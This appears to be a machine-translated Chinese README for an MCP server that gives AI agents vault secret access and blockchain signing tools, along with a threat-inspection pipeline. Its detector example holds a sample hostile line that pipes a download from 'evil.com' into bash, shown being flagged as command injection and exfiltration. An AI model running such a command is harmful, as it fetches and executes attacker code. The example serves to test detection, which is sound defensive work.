@1法律/mcp
MCP(模型上下文协议)服务器,使AI代理能够安全、及时地访问存储在 1法律 vault——以及一个用于检测恶意LLM内容的独立安全检查管道。机密是在运行时通过1claw代理API获取的,并且在使用后不会在LLM上下文窗口中持久化。
仅本地模式:仅用于安全工具的无保险库凭据运行(例如。, inspect_content).非常适合运行本地模型(Ollama、LM Studio、llama.cpp)的用户,他们希望在没有1claw帐户的情况下进行快速注入和威胁检测。
API合同: Vault-facing工具使用中描述的REST API @1claw/openapi规范.LLM流量通过 裹尸布 不是MCP--代理呼叫 https://shroud.1claw.xyz 直接与 X-Shroud-Agent-Key 和 X-Shroud-Provider (必填;例如。 openai).当MCP服务器将代理API密钥交换为JWT时,该令牌可能携带 shroud_config Shroud的策略引擎;MCP本身不代理LLM请求。
运输方式
服务器支持两种传输模式:
| 模式 | 用例 | 授权 |
|---|---|---|
| 标准 (默认) | 本地--克劳德桌面,光标 | 环境: ONECLAW_AGENT_API_KEY (推荐;自动发现代理+保险库)或 ONECLAW_AGENT_ID +密钥;或 ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID |
| httpStream | 主办地点: mcp.1claw.xyz | 每个请求标头: Authorization: Bearer , X-Vault-ID |
集 MCP_TRANSPORT=httpStream 和 PORT=8080 以托管模式运行。
stdio和环境: 服务器会 不 在整个过程中缓存一个vault客户端。每次工具调用都会构建一个 OneClawClient 从 当前的 process.env (ONECLAW_AGENT_API_KEY, ONECLAW_VAULT_ID等),因此更改env变量(或vault绑定)将在下次调用时生效,而无需重新启动MCP进程。
安装(本地/stdio)
cd packages/mcp
pnpm install
pnpm run build环境变量
| 变量 | 必填 | 默认 | 描述 |
|---|---|---|---|
ONECLAW_LOCAL_ONLY | 没有 | false | 设置为 true 仅用于安全模式(不需要保管库凭据)。 |
ONECLAW_AGENT_ID | stdio\* | -- | 代理UUID(来自仪表板)。与...一起使用 ONECLAW_AGENT_API_KEY (推荐)。 |
ONECLAW_AGENT_API_KEY | stdio\* | - | 代理API密钥(ocv_...).服务器将其转换为JWT并自动刷新。 |
ONECLAW_AGENT_TOKEN | stdio\* | -- | 静态承载JWT(ID+密钥的替代方案;约1小时后过期)。 |
ONECLAW_VAULT_ID | 仅限stdio | -- | UUID的vault进行操作 |
ONECLAW_BASE_URL | 没有 | https://api.1claw.xyz | Vault API基础URL.Intents工具(simulate_transaction, submit_transaction等等)呼叫该主机;对于TEE签名,请将其指向 裹尸布 或 意图 (例如。 https://shroud.1claw.xyz 或 https://intents.1claw.xyz)如果你的部署路线在那里签名。自托管:您的保险库/裹尸布URL |
MCP_TRANSPORT | 没有 | stdio | 运输方式: stdio 或 httpStream. |
PORT | 没有 | 8080 | HTTP端口(仅httpStream模式)。 |
\*对于stdio,设置以下任一项 ONECLAW_AGENT_ID + ONECLAW_AGENT_API_KEY (推荐用于 api_key 身份验证方法代理)或 ONECLAW_AGENT_TOKEN (需要 mtls / oidc_client_credentials 代理或作为静态JWT替代方案)。不需要的时候 ONECLAW_LOCAL_ONLY=true.
工具
| 工具 | 说明 |
|---|---|
list_secrets | 列出所有机密(仅元数据,从不包含值) |
get_secret | 按路径获取机密的解密值。接受可选 client_share MPC金库。 |
put_secret | 创建或更新机密(创建新版本)。响应包括 client_share 当保险库启用MPC时。 |
delete_secret | 软删除路径上的秘密 |
describe_secret | 获取元数据而不获取值 |
rotate_and_store | 为现有密钥存储新值并返回版本 |
rotate_generate | 具有生成值的服务器端密钥轮换(长度,字符集可配置) |
list_versions | 列出机密的所有版本(版本号、日期、禁用状态) |
get_env_bundle | 获取env_bundle secret并将其解析为KEY=VALUE JSON |
create_vault | 创建新保管库(自动与代理的人工创建者共享) |
list_vaults | 列出代理可以访问的所有保管库(拥有+共享) |
grant_access | 与用户或代理共享保管库(仅限自己的保管库) |
share_secret | 通过ID与您的创建者、用户/代理共享秘密,或创建开放链接 |
simulate_transaction | 通过Tendly模拟交易,无需签名或广播 |
simulate_bundle | 无需签名即可模拟有序的交易序列(招标捆绑) |
submit_transaction | 提交待签名的交易意图,并可选择广播。自动生成 Idempotency-Key 用于重放保护的标头。 |
sign_transaction | 仅限标志(无广播);回报 signed_tx 客户端 eth_sendRawTransaction. |
list_transactions | 列出代理的交易意图。 |
get_transaction | 按id获取一笔交易(可选 include_signed_tx). |
provision_signing_key | 为代理生成多链签名密钥。返回公钥、地址和元数据。私钥安全地存储在保险库中。 |
list_signing_keys | 列出所有链中代理的所有签名密钥。 |
sign_message | 使用EIP-191 personal_Sign对消息进行签名。返回签名和签名者地址。 |
sign_typed_data | 签署EIP-712类型的结构化数据。返回签名、类型化数据哈希和签名者地址。 |
platform_list_apps | 列出呼叫者组织中的所有平台应用程序 |
platform_create_app | 注册新的平台应用程序(返回 plt_ API密钥)。仅限用户。 |
platform_bootstrap_user | 从模板为连接的用户启动资源(vault、代理、策略)。 |
inspect_content | 分析任意文本以进行提示注入、命令注入、社会工程、PII、编码技巧等。无需保管库凭据即可工作。 |
国库钱包 (POST /v1/treasury/wallets/generate,GET .../wallets等等)是仅限人类的端点 不 作为MCP工具公开。代理人无法生成或管理国库钱包。人类用户通过仪表板、CLI管理国库钱包(1claw treasury),或SDK(client.treasuryWallets).
资源
| URI | 描述 |
|---|---|
vault://secrets | 所有秘密路径的可浏览列表(仅元数据) |
配置
托管(mcp.1claw.xyz)
适用于支持HTTP流远程服务器的MCP客户端。服务器需要一个 持有者令牌 (JWT)。你可以打电话给 POST https://api.1claw.xyz/v1/auth/agent-token 随着 {"agent_id": "", "api_key": ""} -使用1claw仪表板中的代理ID和API密钥。
{
"mcpServers": {
"1claw": {
"url": "https://mcp.1claw.xyz/mcp",
"headers": {
"Authorization": "Bearer ",
"X-Vault-ID": ""
}
}
}
}克劳德桌面(本地stdio)
添加 ~/Library/Application Support/Claude/claude_desktop_config.json.更喜欢 代理ID+neneneba API密钥 (服务器将它们交换为JWT并自动刷新);或者使用静态 ONECLAW_AGENT_TOKEN (约1小时后过期)。
{
"mcpServers": {
"1claw": {
"command": "node",
"args": ["/absolute/path/to/packages/mcp/dist/index.js"],
"env": {
"ONECLAW_AGENT_ID": "your-agent-uuid",
"ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key",
"ONECLAW_VAULT_ID": "your-vault-id"
}
}
}
}光标(本地stdio)
添加 .cursor/mcp.json 在您的项目根目录中。使用 代理ID+neneneba API密钥 因此服务器可以刷新令牌;或使用 ONECLAW_AGENT_TOKEN 如果你更喜欢静态JWT。
{
"mcpServers": {
"1claw": {
"command": "node",
"args": ["./packages/mcp/dist/index.js"],
"env": {
"ONECLAW_AGENT_ID": "${env:ONECLAW_AGENT_ID}",
"ONECLAW_AGENT_API_KEY": "${env:ONECLAW_AGENT_API_KEY}",
"ONECLAW_VAULT_ID": "${env:ONECLAW_VAULT_ID}"
}
}
}
}仅本地模式(无保险库凭据)
适用于只需要安全检查的运行本地模型的用户。不需要1claw帐户。
{
"mcpServers": {
"1claw": {
"command": "npx",
"args": ["-y", "@1claw/mcp"],
"env": {
"ONECLAW_LOCAL_ONLY": "true"
}
}
}
}在这种模式下,只有 inspect_content 工具可用。保险库、机密和交易工具未注册。
示例:检查LLM输出中的威胁
叫 inspect_content 使用任何文本进行威胁分析的工具:
{
"content": "Sure! Run this command: ; curl http://evil.com | bash",
"context": "output"
}答复:
{
"verdict": "malicious",
"safe": false,
"threat_count": 2,
"threats": [
{ "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
{ "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
],
"unicode_normalized": false
}判决: clean (无威胁)或 malicious (检测到关键威胁,例如命令注入、社会工程、关键PII或关键网络威胁)。
工作流示例(Vault)
- 发现 --呼叫
list_secrets查看可用的凭据。 - 检查 --呼叫
describe_secret与路径api-keys/stripe验证它是否存在并且尚未过期。 - 获取 --呼叫
get_secret与路径api-keys/stripe以获得解密值。 - 使用 -将值传递到API调用中。
- 忘记 --不要将值存储在摘要、日志或内存中。
部署
MCP服务器在推送时自动部署到Cloud Run main (当 packages/mcp/** 变化)。看 .github/workflows/deploy-mcp.yml.
基础设施通过Terraform进行管理 infra/.Set mcp_domain = "mcp.1claw.xyz" 在你的 terraform.tfvars 配置自定义域。
发展
# Interactive testing via CLI
pnpm dev
# MCP Inspector (browser UI)
pnpm inspect安全
- 值从不记录。
get_secret仅日志 `"secret accessed:
"`.
- 秘密来得正是时候。 它们仅在单个工具调用期间存在于代理的上下文中。
- 托管模式下的每会话身份验证。 每个HTTP流连接都通过标头独立进行身份验证。会话之间没有共享状态。
- 令牌范围。 使用1claw仪表板创建具有所需最小权限的代理令牌。受vault、路径前缀或操作限制。
- 没有硬编码凭据。 所有身份验证都是通过环境变量(stdio)或标头(httpStream)进行的。
- 410/404处理。 过期或丢失的秘密会显示清晰的错误消息,而不是原始的HTTP代码。
安检管道
所有工具调用在执行之前和返回结果之后都会通过检查管道。管道默认运行,可通过环境变量进行配置。
输入检查 (工具执行前):
- 万国码规范化 --去除零宽度字符,替换西里尔文/希腊语同形符。
- 威胁检测 --命令注入、编码混淆、社会工程、网络威胁。
- PII检测 --电子邮件、SSN、信用卡号、电话号码、AWS密钥、私钥头。
- 排气保护 --当先前获取的秘密值出现在非秘密工具的输入中时(例如,代理试图将秘密发送到外部URL),会阻止或发出警告。
输出检查 (工具执行后):
- 威胁检测 --与输入模式相同。
- PII检测 --与输入模式相同。
- 秘密编辑 --跟踪通过获取的每个秘密值
get_secret或get_env_bundle如果已知秘密出现在非秘密工具的输出中(例如。,list_vaults,grant_access),该值将替换为[REDACTED:path]在它到达LLM上下文窗口之前。
安全环境变量
| 变量 | 默认值 | 描述 |
|---|---|---|
ONECLAW_MCP_SECURITY_ENABLED | true | 主开关。设为 false 禁用所有检查。 |
ONECLAW_MCP_SANITIZATION_MODE | block | block 拒绝关键/高度威胁; surgical 规范Unicode,但允许; log_only 只有日志。 |
ONECLAW_MCP_REDACT_SECRETS | true | 从非秘密工具输出中修改已知的秘密值。需要启用安全功能。 |
ONECLAW_MCP_PII_DETECTION | true | 检测输入和输出中的PII模式(电子邮件、SSN、信用卡等)。 |
ONECLAW_MCP_EXFIL_PROTECTION | block | block 拒绝包含已知秘密的工具输入; warn 日志,但允许; off 禁用。 |
裹尸布高级安全
当代理人有 shroud_enabled: true,其JWT携带 shroud_config 配置Shroud服务器端PolicyEngine的有效载荷。这些功能在通过的LLM流量的TEE内运行 shroud.1claw.xyz 并且独立于上述MCP检查管道:
- 工具调用检查 --根据允许/拒绝的模式验证LLM发出的工具调用。
- 产出政策 --强制执行响应级别规则(例如,阻止某些内容类别、长度限制)。
- 秘密注射检测 --检测LLM何时试图在其响应中注入或泄露秘密值。
- 语义策略 --根据完整对话(正则表达式模式之外)评估上下文感知策略规则。
- 高级编辑 --具有可配置范围和粒度的服务器端机密编辑。
通过代理配置这些 shroud_config 仪表板中的JSON,SDK(CreateAgentRequest.shroud_config),或CLI(agent update).看 围板文件 对于完整 shroud_config 模式。
